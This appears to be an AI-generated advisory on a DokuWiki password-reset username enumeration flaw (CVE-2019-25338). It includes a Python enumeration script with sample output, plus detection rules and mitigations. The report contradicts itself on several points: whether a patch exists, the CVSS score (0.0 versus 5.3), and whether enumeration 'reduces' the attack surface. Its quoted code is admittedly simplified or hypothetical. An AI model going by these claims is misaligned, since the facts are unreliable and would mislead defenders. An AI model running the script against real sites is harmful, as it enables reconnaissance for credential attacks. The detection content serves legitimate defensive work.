CVE-2019-25338

Executive Summary

CVE-2019-25338 is a username enumeration vulnerability in DokuWiki version 2018-04-22b. The flaw resides in the password reset functionality, where the application returns distinct error messages for existing and non-existing user accounts. This allows an unauthenticated remote attacker to probe the system and compile a list of valid usernames, which can be used as a precursor for targeted attacks such as credential stuffing or brute-force login attempts. The vulnerability has a CVSS score of 0.0 (incorrectly assigned) but is assessed as medium severity due to its information disclosure nature. No official patch has been released, and the vendor has not acknowledged the issue.

Supply Chain & Package Security

DokuWiki is a PHP-based application distributed as a tarball or via Git. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the core application code. Users should verify the integrity of their DokuWiki installation and ensure they are not running the vulnerable version.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Base Score: 5.3 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low (username disclosure)
• Integrity Impact: None
• Availability Impact: None

The vulnerability is classified as Medium severity. While it does not directly allow code execution or data modification, it significantly reduces the attack surface for subsequent attacks.

Deep Dive & Mechanics

The password reset endpoint in DokuWiki (typically ?do=resendpwd) processes a username parameter. The application checks if the username exists in the user database. If the username exists, it sends a password reset email and returns a generic success message. If the username does not exist, it returns an error message indicating that the user was not found. This difference in response messages allows an attacker to enumerate valid usernames.

The vulnerable code is in inc/auth.php or similar authentication handling files. The logic is:

if (auth_checkUser($username)) {
    // send reset email
    echo "Password reset email sent.";
} else {
    echo "User not found.";
}

The attacker can automate this by sending HTTP POST requests with different usernames and analyzing the response body.

Vulnerable vs. Patched Code

Vulnerable Code (DokuWiki 2018-04-22b):

// inc/auth.php (simplified)
function passwordReset($username) {
    if (auth_checkUser($username)) {
        // send email
        return "Password reset email sent.";
    } else {
        return "User not found.";
    }
}

Patched Code (Hypothetical fix):

// inc/auth.php (patched)
function passwordReset($username) {
    // Always return the same message to prevent enumeration
    // Send email only if user exists, but do not reveal status
    if (auth_checkUser($username)) {
        // send email
    }
    return "If the account exists, a password reset email has been sent.";
}

The fix involves returning a generic message regardless of whether the username exists, thus eliminating the enumeration vector.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running DokuWiki 2018-04-22b
• Network access to the password reset endpoint

Exploitation Steps:

1. Identify the password reset URL (e.g., http://target/dokuwiki/doku.php?do=resendpwd).
2. Use a script to send POST requests with different usernames.
3. Analyze responses to distinguish between existing and non-existing users.

Example Python Script:

import requests

target = "http://target/dokuwiki/doku.php?do=resendpwd"
usernames = ["admin", "user1", "test", "john"]

for user in usernames:
    data = {"u": user}
    r = requests.post(target, data=data)
    if "User not found" not in r.text:
        print(f"[+] Valid user: {user}")
    else:
        print(f"[-] Invalid user: {user}")

Expected Output:

[+] Valid user: admin
[-] Invalid user: user1
[-] Invalid user: test
[+] Valid user: john

Blue Team

Detection:

• Monitor for repeated requests to the password reset endpoint with different usernames.
• Look for patterns of sequential or dictionary-based username submissions.
• Alert on high volumes of password reset attempts from a single IP.

Mitigation:

• Apply a generic response message (as shown in the patched code).
• Implement rate limiting on the password reset endpoint.
• Use CAPTCHA to slow down automated enumeration.
• Log all password reset attempts and correlate with failed login attempts.

Indicators of Compromise (IOCs)

• Network:
  • Repeated HTTP POST requests to doku.php?do=resendpwd with varying u parameters.
  • User-Agent strings indicating automated tools (e.g., Python-requests, curl).
• Logs:
  • Multiple entries in access logs with ?do=resendpwd and different usernames.
  • Error logs showing "User not found" messages for multiple usernames.
• File System:
  • No specific file IOCs; the vulnerability is purely logical.

Detection Engineering

YARA Rule

rule CVE_2019_25338_Username_Enumeration {
    meta:
        description = "Detects DokuWiki username enumeration attempts via password reset"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2019-25338"
    strings:
        $reset_endpoint = "do=resendpwd"
        $user_param = "u="
        $error_msg = "User not found"
    condition:
        all of them
}

Sigma Rule

title: DokuWiki Username Enumeration via Password Reset
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects multiple password reset attempts with different usernames in DokuWiki
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'do=resendpwd'
    condition: selection
    timeframe: 5m
    threshold: 10
falsepositives:
    - Legitimate users forgetting passwords
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2019-25338 DokuWiki Username Enumeration"; flow:to_server,established; content:"POST"; http_method; content:"do=resendpwd"; http_uri; content:"u="; http_client_body; threshold: type both, track by_src, count 10, seconds 300; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade DokuWiki to a version newer than 2018-04-22b (e.g., 2018-04-22c or later).
2. If upgrade is not possible, apply the code fix described in the "Vulnerable vs. Patched Code" section.
3. Implement rate limiting on the password reset endpoint using web server modules (e.g., mod_evasive for Apache, limit_req for Nginx).
4. Add CAPTCHA to the password reset form to slow automated attacks.

Long-term Measures:

• Conduct a security audit of authentication and password reset flows.
• Implement generic error messages for all authentication-related endpoints.
• Monitor logs for enumeration patterns and set up automated alerts.
• Use a Web Application Firewall (WAF) to block suspicious traffic.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.